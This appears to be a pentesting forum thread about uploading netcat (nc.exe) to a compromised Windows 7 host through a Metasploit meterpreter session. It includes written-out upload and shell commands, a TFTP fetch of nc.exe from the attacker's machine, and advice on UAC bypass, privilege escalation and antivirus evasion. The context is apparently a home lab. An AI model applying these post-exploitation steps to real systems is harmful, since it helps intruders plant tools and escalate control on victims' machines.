upload nc.exe to Windows 7 via meterpreter? failed?

[matrix75]

Hi
I try to to upload nc.exe to Windows 7 via meterpreter but I get This error!

meterpreter > upload /root/Desktop/nc.exe C:\Windows\system32[*] uploading : /root/Desktop/nc.exe -> C:Windowssystem32
[-] core_channel_open: Operation failed: The system cannot find the path specified.

Any one know why?

I will be thankful for answer.

[zimmaro]

Hi
I try to to upload nc.exe to Windows 7 via meterpreter but I get This error!

meterpreter > upload /root/Desktop/nc.exe C:\Windows\system32[*] uploading : /root/Desktop/nc.exe -> C:Windowssystem32
[-] core_channel_open: Operation failed: The system cannot find the path specified.

Any one know why?

I will be thankful for answer.

hi
use \\

meterpreter > sysinfo
Computer : HACK-LAB
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64 (Current Process is WOW64)
System Language : it_IT
Meterpreter : x86/win32
meterpreter > upload /root/Desktop/nc.exe C:\\Users\\d@ny-74\\Desktop[*] uploading : /root/Desktop/nc.exe -> C:\Users\d@ny-74\Desktop[*] uploaded : /root/Desktop/nc.exe -> C:\Users\d@ny-74\Desktop\nc.exe

(i think)for system32 if you have uac enable you recieved Access-denied..................or try to look here

http://www.backtrack-linux.org/forum...ad.php?t=51820
bye

[jnpa123]

as you can see in the line
"uploading : /root/Desktop/nc.exe -> C:Windowssystem32"
The problem is that you're not escaping the "\" character, try
"upload /root/Desktop/nc.exe C:\\Windows\\system32"

[matrix75]

Thank you Zimaro but still like to upload to windows\\system32 ?

meterpreter > upload "/root/Desktop/nc.exe" "C:\\Users\\Windows 7 Pro\\Desktop"[*] uploading : /root/Desktop/nc.exe -> C:\Users\Windows 7 Pro\Desktop[*] uploaded : /root/Desktop/nc.exe -> C:\Users\Windows 7 Pro\Desktop\nc.exe
meterpreter >

Thank youjnpa 123 butThis is still not work!is it possible to upload nc.exe to C:\\Windows\\system32 ?
meterpreter > upload "/root/Desktop/nc.exe" "C:\\Windows\\system32"[*] uploading : /root/Desktop/nc.exe -> C:\Windows\system32
[-] core_channel_open: Operation failed: Access is denied.
meterpreter >

[jnpa123]

You can note that now you get a different error, no longer incorrect path, you now get Acces denied, probably because UAC or low privilleges user, as zimmaro mentioned you'll need UACbypass and/or privillege escalation, his video will teach one of the ways of doing it.

Btw, nice video zimmaro, i dont know if you already know this but metasploit made things little easier for us now, exploit/windows/local/bypassuac module now supports EXE::Custom parameter.

[raskolnikov]

There are multiple ways to push things to an exploited box. If you are having trouble getting metasploit to work, perhaps setup an FTP server on your system, dump nc.exe into it, and have the compromised system connect to it and pull it off that way. Its easier then it sounds, and can be quite effective. Or as suggested you can try to escalate privileges. Look for services running on the box that run with higher privileges then the user you are bonded to, and attempt to escalate to them. Once you are in a box you will find they are much more vulnerable then they were from outside. Look for common weaknesses and capitalize on them.

[matrix75]

Hi
I have two question!!
1)tftp
I tried to uplod nc.exe to my window 7 but still not work with tftp?why?
Im already installed and started atftpd

meterpreter > shell
Process 2196 created.
Channel 4 created.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.


c:\>tftp -i myIp GET nc.exe
tftp -i myIp GET nc.exe
'tftp' is not recognized as an internal or external command,
operable program or batch file.


2)bypassuac.rb
Why bypassuac.rb not work I get error?why?

Im copy it to meterpreter
root@bt:/opt/metasploit/msf3/modules/exploits/windows/local# cp bypassuac.rb /opt/metasploit/msf3/scripts/meterpreter

meterpreter > run bypassuac.rb
[-] Error in script: NameError uninitialized constant Rex::Script::Base::Metasploit3::ExcellentRanking

meterpreter >


Thanks for Answers..

[thorin]

#1 Looks like your target doesn't have a tftp client or it's not in %PATH%.

[jnpa123]

#2 This is not the way the module should be used, background your meterpreter session and search for the exploit/windows/local/bypassuac module set the parameters and exploit. If your target has an AV you will probably need to use the EXE::Custom parameter, and remember you need admin privileges to use this exploit.
The bypassuac as a post module is already in the meterpreter folder but its being deprecated.